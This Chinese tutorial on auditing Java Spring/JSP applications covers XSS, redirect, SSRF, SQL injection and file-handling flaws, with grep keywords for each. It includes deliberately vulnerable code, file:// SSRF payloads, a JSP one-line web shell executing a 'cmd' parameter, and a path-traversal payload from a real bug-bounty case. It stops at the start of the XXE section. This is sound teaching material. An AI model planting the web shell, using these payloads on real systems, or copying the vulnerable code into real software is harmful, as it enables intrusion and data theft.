Top漏洞审计方法
一.基础信息
下面我们会讲常见的漏洞是如何挖掘的和快速挖掘的方法,分别是:
1.springmvc快速创建
2.Xss漏洞挖掘
3.URL重定向漏洞
4.SSRF漏洞
5.SQL注入漏洞
6.文件相关漏洞(文件上传,文件读取)
7.XXE
8.命令执行
9.JSP文件包含
1.1::springmv快速创建
这个我相信大家都会,讲还是怕有些师傅不会整没办法我是细狗呗,首先就是图一进行创建项目项目名包名等,
下面进入项目在pom.xml添加几个包分别是Servlet和springframework在代码一中,接下来就是在src目录创建目录把图二中全部创建,
下面在resources文件创建springmvc.xml文件,内容是代码二中,再就是创建Controller控制器就可以了,下面把web.xml配置一下代码三就ok了,
奥对tomcat自己配置吧挺简单的。
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.2.8.RELEASE</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
</dependency>
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd">
<!-- 扫描Controller控制器 -->
<context:component-scan base-package="com.mvc.Controller"/>
<!-- 视图解析器 -->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/WEB-INF/views/"/>
<!-- /WEB-INF/views/你jsp目录别搞乱了 -->
<property name="suffix" value=".jsp"/>
</bean>
</beans>
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>springmvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>springmvc</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
二.Xss漏洞挖掘
代码一中是一些常见的通过jsp文件进行xss的手法,以下是不全的那是基本上也就那些了,再就是看看spring中可以造成xss的方法代码二,下面是我整理的关键字:
<%=
${
${param.
ModelAndView
ModelMap
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8" isELIgnored="false" %>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%@ taglib uri="http://java.sun.com/jsp/jstl/functions" prefix="fn" %>
//不安全输出
<%--通过EL表达式直接打印--%>
${param.username1};
<%--jsp语法输出--%>
<%= request.getParameter("username2") %>
<%--使用c:out标签默认是开启HTML转义的,escapeXml="false"关闭转义--%>
<c:out value="${param.username3}" escapeXml="false" />
// 相对安全的输出
${fn:escapeXml(param.usernames)}
<c:out value="${param.names}" />
1.//ModelAndView方式xss
ModelAndView modelAndView = new ModelAndView();
//不安全方式
String name = request.getParameter("name");
modelAndView.addObject("names", name);
modelAndView.setViewName("ceshi"); //视图解析器文件
return modelAndView;
// 安全方式
String safeUsername = HtmlUtils.htmlEscape(name);
modelAndView.addObject("safeUsername", safeUsername);
modelAndView.setViewName("ceshi"); //视图解析器文件
return modelAndView
ceshi.jsp
${names}
2.ModelMap
//不安全方式
public String index(ModelMap model, HttpServletRequest request)
String query = request.getParameter("name");
model.addAttribute("names", query);
return "ceshi";//视图解析器文件
//安全方式
String query = request.getParameter("name");
model.addAttribute("names", HtmlUtils.htmlEscape(query));
return "ceshi";//视图解析器文件
ceshi.jsp
${names}
三.URL重定向漏洞
代码一是jsp脚本一般情况存在的利用方法,代码二是spring的利用还是很简单的,下面是一些关键字:
Redirect
refresh
redirect
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8" isELIgnored="false" %>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%@ taglib uri="http://java.sun.com/jsp/jstl/functions" prefix="fn" %>
<%--通过JSP语法--%>
<% response.sendRedirect(request.getParameter("url1")); %>
<% response.setHeader("refresh", "0;url="+request.getParameter("url2"));%>
<%--JSTL--%>
<c:redirect url="${param.url3}"/>
@RequestMapping("/")
public String index(HttpServletRequest request)
{
String name = request.getParameter("name");
return "redirect:" + name;
}
四.SSRF漏洞
先看一下代码一,下面注释的5个是真实去触发请求的,下面其中getInputStream()和getContent()可以获取到返回,代码二就是进行获取相应内容,
其中还需要注意的是当使用file协议的时候在windows中file:///这里是需要三个反斜杠的linux两个,代码三是列子,还有一个就是JSTL库下面的了代码代码四
这里必须用到JSTL库,这个库是专门处理jsp的,好了下面就是总结的关键字了:
openConnection()
<c:import
主要是上面这两个,定位关键字的话:
connect();
getInputStream();
getOutputStream()
getContentType()
getContent()
String url = request.getParameter("url");
URL url1 = new URL(url);
URLConnection urlConnection = url1.openConnection();
// urlConnection.connect();
// urlConnection.getInputStream();
// urlConnection.setDoOutput(true);
// OutputStream os = urlConnection.getOutputStream();
// urlConnection.getContentType();
// urlConnection.getContent();
String url = request.getParameter("url");
URL url1 = new URL(url);
URLConnection urlConnection = url1.openConnection();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
//BufferedReader bufferedReader = new BufferedReader(new InputStreamReader((InputStream) urlConnection.getContent()));
StringBuilder content = new StringBuilder();
String line= "";
while ((line = bufferedReader.readLine()) != null) {
content.append(line).append("\n");
}
response.getWriter().write(content.toString());
response.getWriter().close();
file:///c://windows/win.ini
file://etc/passwd
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8" isELIgnored="false" %>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%@ taglib uri="http://java.sun.com/jsp/jstl/functions" prefix="fn" %>
<%String url = request.getParameter("url");%>
<c:import url="<%=url%>"></c:import>
pom.xml
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
</dependency>
五.SQL注入漏洞
在java中常用的进行sql语句处理的分别是Mybatis Hibernate JDBC,下面我是没讲修复的,其实就几句话带过,看到sql语句是?这种的大致就是进行预编译了。
总结了一下关键字:
JDBC:
executeQuery(
prepareStatement(
createStatement(
Spring JDBC:
execute(
query(
Hibernate:
createQuery
createSQLQuery
createNativeQuery
Mybatis:
${
5.1:JDBC
首先我们进行JDBC的sql注入测试,第一步就是导入JDBC的包代码一,下面查看一下代码二就是我们的测试代码getConnection进行数据库连接,executeQuery就是执行代码,后面的rs.getString("username")就是获取username字段拼接到user,我们看一下运行输出和报错的情况图一,可以看到输出师傅们会发现后面怎么是jsp文件的,不用在意哈那个是因为我配置了springmvc所以导致返回的内容当作视图了,再看代码图就是当进行闭合的报错当然这里是个int型注入所以我就没有闭合,后续的操作就是正常注入,总结一下关键字就是通过
executeQuery(
prepareStatement(
createStatement(
当然也可以去看包名有没有使用JDBC图三。
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.30</version>
</dependency>
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;
import java.sql.*;
@Controller
public class SQL {
private String DRIVER_NAME = "com.mysql.jdbc.Driver";
private String URL = "jdbc:mysql://127.0.0.1:3306/java";
private String USER_NAME = "root";
private String PASSWORD = "123456";
@RequestMapping("/JDBC")
public StringBuilder JDBC(HttpServletRequest request) {
StringBuilder data = new StringBuilder();
Connection connection = null;
String name = request.getParameter("name");
try {
Class.forName(DRIVER_NAME);
connection = DriverManager.getConnection(URL, USER_NAME, PASSWORD);
String sql = "SELECT * FROM lin_user WHERE id = " + name + "";
PreparedStatement prst = connection.prepareStatement(sql);
//通过connection.createStatement(也可以
ResultSet rs = prst.executeQuery();
while (rs.next()) {
data.append("user:").append(rs.getString("username")).append(" ");
data.append("nick:").append(rs.getString("nickname")).append(" ");
}
rs.close();
prst.close();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
throw new RuntimeException(e);
}
return data;
}
}
5.2:JdbcTemplate(Spring JDBC)
说到这他其实就是改java的JDBC封装的一个组件,是Spring家族的,用起来还是蛮简单的导入包代码一,下面配置一下数据库地址,创建文件xxx.properties代码二,接下来就是配置springmvc文件代码三,这就配置好了,代码四,可以看到@Autowired注解用于自动查找bean之间的依赖关系的,如果不写 @Qualifier("spring_JDBC")注解就会通过类型查找了,写了就是通过名称查找,那么查找的bean就是springmvc配置的spring_JDBC,他是存在两个方法的分别是execute执行不返回结果query执行返回结果,
下面就是通过execute执行截图图一和图二,可以发现execute和query当存在sql注入的时候就直接打印sql语句了,那么关键字就是:
execute(
query(
当然也可以通过查看包来确定是否使用了Spring JDBC的包图三
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-jdbc</artifactId>
<version>5.3.22</version>
</dependency>
jdbc.driver=com.mysql.jdbc.Driver
jdbc.url=jdbc:mysql://192.168.24.141:3306/java?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
jdbc.username=root
jdbc.password=123456
<!-- 导入数据库配置文件地址-->
<context:property-placeholder location="classpath:/jdbc.properties"/>
<!-- 配置数据源-->
<bean id="dataSourceTest" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<!--数据库驱动-->
<property name="driverClassName" value="${jdbc.driver}"/>
<!--连接数据库的url-->
<property name="url" value="${jdbc.url}"/>
<!--连接数据库的用户名-->
<property name="username" value="${jdbc.username}"/>
<!--连接数据库的密码-->
<property name="password" value="${jdbc.password}"/>
</bean>
<!-- Spring JDBC 模版 -->
<bean id="spring_JDBC" class="org.springframework.jdbc.core.JdbcTemplate" lazy-init="false">
<property name="dataSource" ref="dataSourceTest"/>
</bean>
@Autowired
@Qualifier("spring_JDBC")
private JdbcTemplate SpringJDBC;
@RequestMapping("/JDBCTemplate")
public String JDBCTemplate(HttpServletRequest request) {
String name = request.getParameter("name");
String sql = "SELECT * FROM lin_user WHERE id =" + name + "";
// 执行sql语句,不返回执行结果
SpringJDBC.execute(sql);
return "执行成功 不反悔结果";
// 执行sql语句,返回执行结果
// SpringJDBC.query(sql,new BeanPropertyRowMapper<Student>(Student.class));
}
5.3: Hibernate
这个就稍微有点复杂了,不过就是稍微,还是先导入HQL这个包代码一,在配置数据库信息,创建配置文件
hibernate.cfg.xml到resources下,内容就是数据库信息,还有就是需要映射实体类,实体类里面操作的表字段看代码二里面我已经解释了,
下面就是在创建一个实体类代码三不懂的看看注释就理解了,好那我就写Controller的代码了代码四,下面我们看图一,和图二,这里看一下不一样的修复代码五,
那么关键字就是:
createQuery
createSQLQuery
createNativeQuery
当然也可以通过包来查找图三。
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>5.6.12.Final</version>
</dependency>
<!DOCTYPE hibernate-configuration PUBLIC
"-//Hibernate/Hibernate Configuration DTD 3.0//EN"
"http://www.hibernate.org/dtd/hibernate-configuration-3.0.dtd">
<hibernate-configuration>
<session-factory>
<property name="hibernate.connection.driver_class">com.mysql.jdbc.Driver</property>
<property name="hibernate.connection.url">jdbc:mysql://127.0.0.1:3306/java</property>
<property name="hibernate.connection.username">root</property>
<property name="hibernate.connection.password">123456</property>
<!-- 设置sql语句的方言 -->
<property name="hibernate.dialect">org.hibernate.dialect.MySQL5Dialect</property>
<!-- 设置hibernate执行SQL语句的时候自动显示在控制台上 -->
<property name="hibernate.show_sql">true</property>
<!-- 设置显示的格式 -->
<property name="hibernate.format_sql">true</property>
<property name="hibernate.hbm2ddl.auto">update</property>
<!-- 映射实体类 -->
<mapping class="com.mvc.Controller.Hiber"/>
</session-factory>
</hibernate-configuration>
package com.mvc.Controller;
import javax.persistence.*;
//一个实体类
@Entity
//表示获取表名lin_user
@Table(name = "lin_user")
public class Hiber {
//主键
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
//获取字段
@Column(name = "username")
private String username;
//获取字段
@Column(name = "nickname")
private String nickname;
// 构造函数
public Hiber() {}
public Hiber(String username, String nickname) {
this.username = username;
this.nickname = nickname;
}
// Getter和Setter方法
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getUsername() {
return username;
}
public void setUsername(String name) {
this.username = name;
}
public String getNickname() {
return nickname;
}
public void setNickname(String nickname) {
this.nickname = nickname;
}
@Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + username + '\'' +
", age=" + nickname +
'}';
}
}
@RequestMapping("/hibernate")
public String hibernate(HttpServletRequest request) {
String name = request.getParameter("name");
Configuration configure = new Configuration().configure();
SessionFactory sessionFactory = configure.buildSessionFactory();
Session session = sessionFactory.openSession();
String sql = "FROM com.mvc.Controller.Hiber test where test.id="+name;
//获取映射的实体类,设置别名test查询name,虽然我们在实体类中设置id类型是Long但是依然存在注入
Query query = session.createQuery(sql);
//这里除了setParameter还有createSQLQuery和createNativeQuery
return query.list().toString();
//list方法才是真实执行了sql语句
}
@RequestMapping("/hibernate")
public String hibernate(HttpServletRequest request) {
Long name = Long.valueOf(request.getParameter("name"));
Configuration configure = new Configuration().configure();
SessionFactory sessionFactory = configure.buildSessionFactory();
Session session = sessionFactory.openSession();
String sql = "FROM com.mvc.Controller.Hiber test where test.id=:name";
//使用占用符:name
Query query=session.createQuery(sql);
//创建查询对象
List list = query.setParameter("name", name).list();
//参数绑定,list才是真实查询。
return list.toString();
5.4:Mybatis
这个也是比较常见的了,就不多讲了,代码一,可以看到是用的${},那么就是没有进行预编译的,可以直接注入,当然了也得看调用过来的数据类型,
所以关键字是并且是锁定xml文件:
${
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.mvc.Mybatis.Dao">
<select id="getStudent2" resultType="com.mvc.Mybatis.Dao">
SELECT * FROM lin_user ORDER BY ${id} desc
</select>
</mapper>
六.文件相关漏洞(文件上传,文件读取)
6.1·文件上传关键字:
spring mvc:
MultipartFile
.getOriginalFilename()
transferTo(
Servlet:
.getPart(
.write(
srping boot:
MultipartFile
Files.copy(
SpringMVC常用上传类:
org.springframework.web.multipart.MultipartFile
org.springframework.web.multipart.commons.CommonsMultipartFile
常见输入输出流:
java.io.FileInputStream
java.io.FileOutputStream
上传类:
org.apache.commons.fileupload.servlet.ServletFileUpload
java.io.BufferedOutputStream
java.io.BufferedWriter
java.nio.file.Files
java.io.FileWriter
java.io.PrintWriter
java.io.RandomAccessFile
org.apache.commons.io.FileUtils
6.2:文件读取:
jar包class: org.apache.commons.io.FileUtils
readFileToString() readFileToByteArray() readLines()
jar包class: java.io.FileInputStream read()
jar包class: java.io.RandomAccessFile read()
jar包class: java.io.InputStream read()
jar包class: java.io.FileReader read()
jar包class: java.nio.file.Files readAllBytes()
jar包class: java.io.BufferedInputStream read()
6.3:文件写入:
write(
print(
jar包class: org.apache.commons.io.IOUtils write()
jar包class: org.apache.commons.io.FileUtils
readFileToString()
readFileToByteArray()
readLines()
jar包class: java.io.RandomAccessFile write()
jar包class: java.io.PrintWriter print()
jar包class: java.io.FileOutputStream write()
jar包class: java.io.BufferedWriter write()
jar包class: java.io.BufferedOutputStream write()
jar包class: java.io.FileReader write()
6.4:文件删除:
jar包class: org.apache.commons.io.FileUtils
deleteDirectory()
deleteQuietly()
cleanDirectory()
forceDelete()
jar包class: java.io.File delete()
6.5:文件复制:
<font style="color:#000;">jar包class: org.apache.commons.io.IOUtils</font>
<font style="color:#000;">copy()</font>
<font style="color:#000;">copyLarge()</font>
jar包class: org.apache.commons.io.FileUtils
copyFile()
copyFileToDirectory()
copyDirectoryToDirectory()
copyDirectory()
copyURLToFile()
jar包class: org.springframework.util.FileCopyUtils
copy
jar包class: org.springframework.util.StreamUtils
copy
jar包class: java.nio.channels.FileChannel
transferTo()
jar包class: java.nio.file.Files
copy()
6.1:文件上传
漏洞原理就不解释了,能到代码审计应该都知道,那么先导入包,接着看代码一,不懂的话看注释我写的已经很清楚了,但是很明显我的黑名单是存在问题的,
通过大小写就可以绕过了,那么还有一种是基于白名单的,但是在JDK1.7.0_40一下是可以通过%00截断的,下面我们使用的第三方包来进行文件上传的,
那么我们可以通过Servlet3.0进行文件上传,Spring mvc 是基于Servlet api开发的所以也是可以调用的,代码三就是原生的Servlet进行文件上传,
当然了这里web.xml也要配置为3.0版本以上和springmvc文件配置ben代码四,那么其实Spring mvc更简单,代码五,
其实就是一个注解@RequestParam("file")上传参数是file,那么就算你删除了commons-fileupload包也无所谓了,最后一个就是spring boot的了,
其实更简单不需要配置什么代码六不懂看注释,那么关键字就是:
spring mvc:
MultipartFile
.getOriginalFilename()
transferTo(
Servlet:
.getPart(
.write(
srping boot:
MultipartFile
Files.copy(
<dependency>
<groupId>commons-fileupload</groupId>
<artifactId>commons-fileupload</artifactId>
<version>1.4</version>
</dependency>
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;
import javax.servlet.http.HttpServletRequest;
import java.io.File;
import java.io.IOException;
@RestController
@RequestMapping("/upload")
public class Upload {
@RequestMapping("/file")
public String file(MultipartFile uploadFile,HttpServletRequest request) throws IOException {
String originalFilename = uploadFile.getOriginalFilename();
//获取文件名
String substring = originalFilename.substring(originalFilename.lastIndexOf(".") + 1);
//截取文件名的后缀名
String s = "jsp,jspx,jar";
for (String s1 : s.split(",")) {
if (s1.equals(substring)){
return "匹配到了奥,你小子。";
}
}
//黑名单判断
String newFileName = System.currentTimeMillis() + "." + substring;
//通过时间戳创建新的文件名
String realPath = request.getSession().getServletContext().getRealPath("/uploads");
//获取上传文件的保存目录,就是项目的webapp下的uploads文件夹
File file = new File(realPath);
if (!file.exists()) {
file.mkdir();
}
//判断文件目录是否存在不存在就创建
uploadFile.transferTo(new File(realPath, newFileName));
//上传文件newFileName到指定目录realPath
return file+"\\"+newFileName;
//返回上传目录
}
}
@RequestMapping("/Servletfile")
public String Servletfile(HttpServletRequest request) throws IOException, ServletException {
Part uploadFile = request.getPart("uploadFile");
//获取上传的文件参数
String fileName = getFileName(uploadFile);
//获取上传的文件名
// 获取上传目录
String realPath = request.getSession().getServletContext().getRealPath("/uploads");
File uploadDir = new File(realPath);
if (!uploadDir.exists()) {
uploadDir.mkdirs();
}
String s = System.currentTimeMillis() + fileName;
//创建新的文件名
File file = new File(realPath, s);
//创建上传绝对路径文件对象
InputStream inputStream = uploadFile.getInputStream();
//获取文件输入流就是上传的内容
FileOutputStream fileOutputStream = new FileOutputStream(file);
//创建文件输出流
byte[] buffer = new byte[1024];
//创建缓冲区
int len = 0;
while ((len = inputStream.read(buffer)) > 0) {
fileOutputStream.write(buffer, 0, len);
//缓冲区写到文件输出流
}
return file.toString();
}
private String getFileName(Part part) {
String contentDisposition = part.getHeader("content-disposition");
//获取上传那里一列内容
String[] elements = contentDisposition.split(";");
//form-data; name="uploadFile"; filename="12.jpg"进行分割
for (String element : elements) {
if (element.trim().startsWith("filename")) {
return element.substring(element.indexOf('=') + 1).trim().replace("\"", "");
}
}
return "";
}
springmvc文件
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-4.3.xsd
http://www.springframework.org/schema/mvc
http://www.springframework.org/schema/mvc/spring-mvc-4.3.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context-4.3.xsd">
<!-- 扫描Controller控制器 -->
<context:component-scan base-package="com.mvc.Controller"/>
<!-- 视图解析器 -->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/jsp/"/>
<property name="suffix" value=".jsp"/>
</bean>
<!-- 导入数据库配置文件地址-->
<context:property-placeholder location="classpath:/jdbc.properties"/>
<!-- 配置数据源-->
<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<!--数据库驱动-->
<property name="driverClassName" value="${jdbc.driver}"/>
<!--连接数据库的url-->
<property name="url" value="${jdbc.url}"/>
<!--连接数据库的用户名-->
<property name="username" value="${jdbc.username}"/>
<!--连接数据库的密码-->
<property name="password" value="${jdbc.password}"/>
</bean>
<!-- Spring JDBC 模版 -->
<bean id="spring_JDBC" class="org.springframework.jdbc.core.JdbcTemplate" lazy-init="false">
<property name="dataSource" ref="dataSource"/>
</bean>
//配置他
<bean id="multipartResolver"
class="org.springframework.web.multipart.support.StandardServletMultipartResolver">
</bean>
</beans>
web.xml文件
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
version="3.0">
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>springmvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc.xml</param-value>
</init-param>
<!-- Servlet 3.0 文件上传配置 -->
<multipart-config>
<max-file-size>10485760</max-file-size> <!-- 10MB -->
<max-request-size>20971520</max-request-size> <!-- 20MB -->
<file-size-threshold>4096</file-size-threshold>
</multipart-config>
</servlet>
<servlet-mapping>
<servlet-name>springmvc</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
@RequestMapping("/file")
public String file(@RequestParam("file") MultipartFile uploadFile, HttpServletRequest request) throws IOException {
String originalFilename = uploadFile.getOriginalFilename();
pom.xml
<!-- 如果需要JSP支持 -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
</dependency>
application.properties配置
# 文件上传配置
spring.servlet.multipart.enabled=true
# 单个文件最大大小
spring.servlet.multipart.max-file-size=10MB
# 总请求最大大小
spring.servlet.multipart.max-request-size=20MB
# 临界文件大小
spring.servlet.multipart.file-size-threshold=2KB
# 上传文件的临时目录
spring.servlet.multipart.location=
# 如果使用JSP
spring.mvc.view.prefix=/WEB-INF/views/
spring.mvc.view.suffix=.jsp
# 服务器端口
server.port=8080
Controller文件
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.UUID;
@Controller
public class FileUploadController {
// 上传目录
private final String UPLOAD_DIR = "uploads/";
@GetMapping("/")
public String index() {
return "upload";
}
// REST API方式 - 返回JSON
@PostMapping("/api/upload")
@ResponseBody
public String uploadFile(@RequestParam("file") MultipartFile file) {
if (file.isEmpty()) {
return "文件为空";
}
try {
// 创建上传目录
Path uploadPath = Paths.get(UPLOAD_DIR);
if (!Files.exists(uploadPath)) {
Files.createDirectories(uploadPath);
}
// 生成唯一文件名
String fileName = UUID.randomUUID().toString() + "_" + file.getOriginalFilename();
Path filePath = uploadPath.resolve(fileName);
// 保存文件
Files.copy(file.getInputStream(), filePath);
return "上传成功:" + file.getOriginalFilename() +
",文件大小:" + file.getSize() + " bytes";
} catch (IOException e) {
e.printStackTrace();
return "上传失败:" + e.getMessage();
}
}
// 传统MVC方式 - 返回页面
@PostMapping("/upload")
public String handleFileUpload(@RequestParam("file") MultipartFile file, Model model) {
if (file.isEmpty()) {
model.addAttribute("message", "请选择文件");
return "upload";
}
try {
// 创建上传目录
File uploadDir = new File(UPLOAD_DIR);
if (!uploadDir.exists()) {
uploadDir.mkdirs();
}
// 保存文件
String fileName = System.currentTimeMillis() + "_" + file.getOriginalFilename();
File destFile = new File(uploadDir, fileName);
file.transferTo(destFile);
model.addAttribute("message", "上传成功");
model.addAttribute("fileName", file.getOriginalFilename());
model.addAttribute("fileSize", file.getSize());
model.addAttribute("savedAs", fileName);
} catch (IOException e) {
model.addAttribute("message", "上传失败:" + e.getMessage());
}
return "upload";
}
}
}
6.2:文件读取
这里涉及的包就很多了,但是都大差不差,下面我举两个例子就大致明白了代码一不懂的看注释,
那么关键字是:
jar包class: org.apache.commons.io.FileUtils
readFileToString() readFileToByteArray() readLines()
jar包class: java.io.FileInputStream read()
jar包class: java.io.RandomAccessFile read()
jar包class: java.io.InputStream read()
jar包class: java.io.FileReader read()
jar包class: java.nio.file.Files readAllBytes()
jar包class: java.io.BufferedInputStream read()
import org.apache.commons.io.FileUtils;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.FileInputStream;
@RestController
@RequestMapping("/read")
public class Read {
@RequestMapping("/readFileToString")
public String readFileToString(HttpServletRequest request, String path, HttpServletResponse response) throws Exception{
String realPath = request.getSession().getServletContext().getRealPath("/");
File file = new File(realPath, path);
String s = FileUtils.readFileToString(file, "utf-8");
response.getWriter().print(s);
//读取文件内容 org.apache.commons.io.FileUtils 关键字:readFileToString
FileInputStream fileInputStream = new FileInputStream(file);
int len = 0;
byte[] buffer = new byte[1024];
while ((len=fileInputStream.read(buffer))!=-1){
String content = new String(buffer, 0, len, "UTF-8");
response.getWriter().print(content);
fileInputStream.close();
}
//读取文件内容 java.io.FileInputStream 关键字: read
return "文件读取!";
}
}
6.3:文件写入
这里涉及的包也不少问题不大方法都差不多,代码一代码很简单的两个例子,那么直接写入一句话
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
?cmd=cmd /c mstsc.exe
或者在实战中先写下面代码来验证会打印系统的一些信息。
<%=System.getProperties()%>
这里涉及的关键字是:
jar包class: org.apache.commons.io.IOUtils write()
jar包class: org.apache.commons.io.FileUtils
readFileToString()
readFileToByteArray()
readLines()
jar包class: java.io.RandomAccessFile write()
jar包class: java.io.PrintWriter print()
jar包class: java.io.FileOutputStream write()
jar包class: java.io.BufferedWriter write()
jar包class: java.io.BufferedOutputStream write()
jar包class: java.io.FileReader write()
@RequestMapping("/write")
public String writeFile(HttpServletRequest request, String path, String content) throws Exception{
String realPath = request.getSession().getServletContext().getRealPath("/");
FileWriter fileWriter = new FileWriter(realPath+path);
fileWriter.write(content);
fileWriter.close();
// //写入文件 java.io.FileWriter 关键字:write
PrintWriter printWriter = new PrintWriter(realPath + path);
printWriter.print(content);
printWriter.close();
//写入文件 java.io.PrintWriter 关键字:print
return realPath;
}
6.4:文件删除
涉及到文件操作的包都不少,但是用到的话也就是JDK原生包java.io.File也就是最常见的了我们看下代码一举了两个例子,还是非常简单的,关键字是:
jar包class: org.apache.commons.io.FileUtils
deleteDirectory()
deleteQuietly()
cleanDirectory()
forceDelete()
jar包class: java.io.File delete()
@RequestMapping("/delete")
public String deleteFile(HttpServletRequest request, String path) throws Exception{
String realPath = request.getSession().getServletContext().getRealPath("/");
File file = new File(realPath, path);
if (file.exists()){
file.delete();
//原生JDK 删除文件
FileUtils fileUtils = new FileUtils();
fileUtils.deleteQuietly(file);
//commons-io 删除文件,底层依然是JDK的delete方法
return "文件删除成功!";
}
return "6666";
}
6.5:文件复制
复制的话基本上方法就是copy,师傅们看之前文章的话知道这段时间没有更新是因为在挖src,刚好这里有一个src的案例就是文件复制也是喜提高危一枚,
不过只是边缘资产价值330元哈哈哈哈哈哈,那么我就拿这个实战案例来讲解吧,首先莫名其妙源码出现在我电脑上了,下面就是我审计的全过程,首先查找路由,
接着发现doGET里面存在很多参数,file会进行一次md5加密实际上并不是md5问题不大就理解成md5,加密之后
113行进行了匹配,那么把加密的文件名放到md5参数就可以了,接着会走到114行现在我们复制的文件已经知道可以通过file控制,那么复杂到什么地方也需要控制,
那么看一下101行获取文件路径103行进行拼接和108行进行封装,可以看到也是可以控制的,到这里就实现了任意文件复制下面是payload:
<font style="color:#000;">?file=%44%3a%5c%32%2e%70%79&file.filename=../..</font>
<font style="color:#000;">/123.jsp&md5=c0bad5e5009c3d8a7ae108b79f3e1148</font>
<font style="color:#000;">还是蛮简单的吧?那么存在的关键字都有:</font>
<font style="color:#000;">jar包class: org.apache.commons.io.IOUtils</font>
<font style="color:#000;">copy()</font>
<font style="color:#000;">copyLarge()</font>
jar包class: org.apache.commons.io.FileUtils
copyFile()
copyFileToDirectory()
copyDirectoryToDirectory()
copyDirectory()
copyURLToFile()
jar包class: org.springframework.util.FileCopyUtils
copy
jar包class: org.springframework.util.StreamUtils
copy
jar包class: java.nio.channels.FileChannel
transferTo()
jar包class: java.nio.file.Files
copy()
6.6:文件移动
@RequestMapping("/move")
@ResponseBody
public String move(HttpServletRequest request, String path, String path2) throws IOException {
String realPath = request.getSession().getServletContext().getRealPath("/");
File sourceFile = new File(realPath + path);
File targetFile = new File(realPath + path2);
FileUtils.moveDirectoryToDirectory(sourceFile, targetFile, true);
return "成功将" + path + "目录,移动到了" + path2 + "目录";
}
七:XXE
XXE的包也不少,先看一下案例代码一,这里有个额外知识netdoc协议是java独有的,三个反斜杠是因为,系统是windows,liunx就是两个file://,
